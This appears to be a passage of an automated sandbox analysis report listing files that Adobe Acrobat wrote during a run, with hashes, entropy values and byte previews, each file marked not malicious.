SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklC64GbNl/tfllXlE/HT8kbh/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKbKbNteT8mJdNMa8RdWBwRd
MD5:	817749E4D30B952E1F0FF594834049BD
SHA1:	B3BE21478E3F8FADB0497818D036C18ABD91C876
SHA-256:	AB30E856F3EEB054D4F556144822F38A1BB3E19F7E1FC84386C71D9AE8B13582
SHA-512:	F6E12877E973CD6B66A80DF2F46594C71EEDC2ADE04F480C781910116289BD911996DBC083A9EAE1A7C1026A5F0993A6CADA1F440E907DAB47FD1D03C3C99436
Malicious:	false
Preview:	p...... .........j.-.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.226999230143312
Encrypted:	false
SSDEEP:	6:kKSL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:6iDImsLNkPlE99SNxAhUe/3
MD5:	619731D4A2026475A9871EEC1BB2D109
SHA1:	50BB7DD27BE7D9A048C3AEE9C549BA8B1A752491
SHA-256:	92E21668323560C482E67184B29A78E4BCC27B6096317498FD5925AADD38B44B
SHA-512:	2B8B43021DEEB8F7E269F71DD3236B19E1CE565CDB50DE731A47B6B8E3796CA716DC3AAE70005E17043074EBC57B0D1BC495FD72EA5D4E0438BEEFF6EA55C180
Malicious:	false
Preview:	p...... ...........@.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3036

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3036

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.384612676839856
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJM3g98kUwPeUkwRe9:YvXKXmoN+YUTbdHGMbLUkee9
MD5:	D5B4A03A3DADA6786A757521FF9C2285
SHA1:	1C4C9E944CD7DE3F89A851D0C28EF5BBDE408BF2
SHA-256:	0AEE39748F36ED75B495A9C02EAB9D4159247DAB4D9A5DDEC26E63DF013BDC0E
SHA-512:	E948B72BE1B5B7C4B3C04F5FAE3C2C2262AC4743271966032E7E4120E84FBA50AF9D5636328281D98A3CB1F88E5B4A07570DC9FD4E17ECFD3212A686F0615D9E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.323374078655951
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJfBoTfXpnrPeUkwRe9:YvXKXmoN+YUTbdHGWTfXcUkee9
MD5:	0C6D61A6173CB91E2F7660E38DAA80ED
SHA1:	C78242BCA0561823E407F8B592F8FD628AC9A518
SHA-256:	71F129F3978B2BB8E8C33B0F516F4F5AD8F83999349EC32CAADAF241BC6D4793
SHA-512:	16D8FB370413D5D5FBBBDAD5E1ABF9FDF1E0671F7EF6EB8D1C70D9238BF248BE1DE6FA97493424FC12F502992574479C17DE3BB07330F65AD29EF815CE72492A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.300917276874573
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJfBD2G6UpnrPeUkwRe9:YvXKXmoN+YUTbdHGR22cUkee9
MD5:	BC06AB0DECEE66F7BC6132FE2A9AFCD4
SHA1:	160CA1870783E6653A63CD897BD91DE16FEC0680
SHA-256:	C706F6A56044955BEB16D994B7FB8405F7547A2218DD2C6D14B22D51B0DF8DFA
SHA-512:	F1C3F11CEEF4FBA4845FE25385EA0AD97AC8FECB506BF300DFCA53AD9249EB33DCA4340A0B8060D485836C9F4176359860842ED51E324434F4D06BED316DB86C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.359636975869941
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJfPmwrPeUkwRe9:YvXKXmoN+YUTbdHGH56Ukee9
MD5:	5D5754252E4E33A20E2B4385FD02F98E
SHA1:	FCE0C392F8875D0722A3D5B7954F622F020E3B90
SHA-256:	E711EF1DE1E15B2E68908E6F5D959B7449CB58AA3C3FFBDC2EBDA17F22C34FD2
SHA-512:	6B2116E2EBFF5C43B619544C74A780B5787C598B156F7DED604A57DDACFD89039FDCF063A6388E4D04B03CAE484934719419203898988FD95C058FA6D9060815
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690639021163098
Encrypted:	false
SSDEEP:	24:Yv6XhUXCpLgE9cQx8LennAvzBvkn0RCmK8czOCCS9:Yv8wChgy6SAFv5Ah8cv/9
MD5:	BFEE0D5658FC0DB4D17EA8AE0E702FDA
SHA1:	029A91626C6382059B86553CE8B4908BA21EFE02
SHA-256:	E445B3E249A2EA313AB4416A62E245FA0D6A87F082DB55CC8A1CFC6FB0CED858
SHA-512:	76C820FA10DDCD03007F798ECB39E5F936DF060CAE522AECA4BB645CD3D9EBE3D1FADCCC4AE58130467453206E5F328A980DAEFACC842F4F7C97218491EC6117
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304027025936022
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJf8dPeUkwRe9:YvXKXmoN+YUTbdHGU8Ukee9
MD5:	5364A8F2CE65663512152C9867688F6C
SHA1:	C72EBE4778310C8057EFA7A7130F28E0E4097977
SHA-256:	860B0D81971FC3D0B86ABA84C5C911325443D7E82781278281916FA97C192ADB
SHA-512:	DC5FA9F026FACC8743CC707A36CB455E7970019AF1D87EB5E348B2D19D59CEBF5327E2F29A99201D678AB326288D637CC1871B9A2736D0DCDF127B49B4FFF383
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.306928703920089
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJfQ1rPeUkwRe9:YvXKXmoN+YUTbdHGY16Ukee9
MD5:	B79009EBCB1D0CF36D25A38C375773E6
SHA1:	A8C290F9BC40AF13823E9C666762212DC726ADB0
SHA-256:	FE1D7ACD2D5C45F7E75182D4406BD8D8E9402584BFD1F0EB60D6BF698D2E1A1C
SHA-512:	C45CDFA84ED1AC0A40B3065012601D863C23BB3394B0420FA1428260DAD95E185E8FCA52F888DBBCA8C6995C060356738EC6ABEA6425DFCD428CFCB886CAE137
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.31928877556128
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJfFldPeUkwRe9:YvXKXmoN+YUTbdHGz8Ukee9
MD5:	61A95297C1C7A9008182826217967F10
SHA1:	622B897B0F5F7F2D801A01D08F0FF77CB861746E
SHA-256:	C3FDB73758968DB4EFE2AF2493490895A67A138F9D2E570BA3D45DBA831CBF71
SHA-512:	A5191954778F33CB7F27EC456A23F33C152E0850E855227768D393CA20C7D2F98B96BEAC0FE0EBC2D7EC667B1D8F20D1D95E00ECB68DD7D0DF81924F9B7D3792
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.331403919420844
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJfzdPeUkwRe9:YvXKXmoN+YUTbdHGb8Ukee9
MD5:	88CCBFA11319F4157002C11CA2B58CE3
SHA1:	F9E20EB10B305EF4DD00FBCD67C0D8757C6CB225
SHA-256:	10D36E95A2640E41049AD56BD18A6543A1557CDBA3FE8C9CC47BD3C41D7D4DA1
SHA-512:	AF6790C2975E38DCE6702B9B860D92BBA1F3037756C766AC999B91DB5083F3CE7616E8A58F631A36C6E8136381132CDAA06A6CF34006FDA607B21ABE0C560A01
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.312003815715513
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJfYdPeUkwRe9:YvXKXmoN+YUTbdHGg8Ukee9
MD5:	C4CE56CB5F9B9C0A0A313E7ED644ECFE
SHA1:	20859E3870942A1E07EA2B72C1138464E0C29378
SHA-256:	161DA57DD25FCACCDCB9BAB06AE534CA752F24D74CE9A1A84AEA027F6F38283E
SHA-512:	1F552BBC47E2F7371E7431941EA01492F7B0A207A413DE83B7BB612431A74EC44BE01AA2A934D131E9310ACCC2C9A61CB7089FA7B846E6D42ECBBCD1F0356030
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.297947821789069
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsGcNoNLKYUXjb24kF0YPoAvJf+dPeUkwRe9:YvXKXmoN+YUTbdHG28Ukee9
MD5:	7B0E34C17F70E58F171565A44B577840
SHA1:	CDA3AA334AC9ED2E3A648289142833726A29AAAD
SHA-256:	046E5B61447109513B57497F9173161E09744907FD3A096CBDCBF089A7A537FC
SHA-512:	5C12682D973C6EF293938A3E748BE7EF33C137E52A3E116BAB90F3CC30B4744C299239FFE728B58E4925F6C9824A826C6CDFC661954509D39B13EFE24B02BF07
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"94356cb3-cf8a-413b-b5c7-b0657bf29185","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718069754,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.295468412937724
Encrypted:	false
